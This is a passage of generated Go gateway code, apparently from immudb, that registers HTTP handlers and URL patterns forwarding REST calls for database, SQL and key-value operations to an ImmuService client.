err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_DatabaseHealth_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseHealth_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CurrentState_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CurrentState_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CurrentState_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_SetReference_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSetReference_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableSetReference_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSetReference_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ZAdd_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableZAdd_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableZAdd_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableZAdd_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ZScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ZScan_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ZScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CreateDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabaseWith_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CreateDatabaseWith_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabaseWith_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CreateDatabaseV2_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_LoadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_LoadDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_LoadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UnloadDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_UnloadDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UnloadDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DeleteDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_DeleteDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DeleteDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DatabaseList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_DatabaseList_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DatabaseListV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_DatabaseListV2_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DatabaseListV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_UseDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_UseDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UseDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UpdateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_UpdateDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UpdateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UpdateDatabaseV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_UpdateDatabaseV2_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UpdateDatabaseV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetDatabaseSettings_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_GetDatabaseSettings_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetDatabaseSettings_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetDatabaseSettingsV2_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_GetDatabaseSettingsV2_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetDatabaseSettingsV2_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_FlushIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_FlushIndex_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_FlushIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CompactIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CompactIndex_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CompactIndex_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SQLExec_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_SQLExec_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SQLExec_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_SQLQuery_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SQLQuery_0(ctx, mux, outboundMarshaler, w, req, func() (proto.Message, error) { return resp.Recv() }, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ListTables_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ListTables_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ListTables_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DescribeTable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_DescribeTable_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DescribeTable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSQLGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableSQLGet_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSQLGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\nvar (\n\tpattern_ImmuService_ListUsers_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"user\", \"list\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_CreateUser_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"user\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ChangePassword_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"user\", \"password\", \"change\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ChangePermission_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"user\", \"changepermission\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_ChangeSQLPrivileges_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"user\", \"changesqlprivileges\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_SetActiveUser_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"user\", \"setactiveUser\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"login\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Logout_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{\"logout\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Set_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{\"db\", \"set\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableSet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"verifiable\", \"set\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Get_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 1, 0, 4, 1, 5, 2}, []string{\"db\", \"get\", \"key\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_VerifiableGet_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{\"db\", \"verifiable\", \"get\"}, \"\", runtime.AssumeColonVerbOpt(true)))\n\n\tpattern_ImmuService_Delete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, 